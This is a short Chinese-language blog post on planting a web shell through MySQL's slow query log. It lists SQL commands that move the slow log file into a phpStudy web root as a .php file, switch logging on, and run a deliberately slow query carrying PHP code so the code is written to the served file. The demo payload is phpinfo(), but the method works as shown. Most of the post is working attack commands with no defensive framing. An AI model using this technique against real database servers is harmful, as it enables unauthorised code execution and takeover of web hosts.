【奇技淫巧】MySql慢查询日志GetShell

2021年8月6日08:16:41评论161 views字数 505阅读1分41秒阅读模式

【奇技淫巧】MySql慢查询日志GetShell

通过开启慢查询日志，配置可解析文件GETSHELL
主要针对日志量庞大，通过日志文件GETSHELL出现问题的情况

show variables like '%slow%';

Variable_name         Value
log_slow_queries         OFF
slow_launch_time         2
slow_query_log         OFF
slow_query_log_file         C:phpStudyPHPTutorialMySQLdataWIN-374NAWYudt-slow.log


set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';
set GLOBAL slow_query_log=on;

/*set GLOBAL log_queries_not_using_indexes=on;
show variables like '%log%';*/

select '<?php phpinfo();?>' from mysql.db where sleep(10);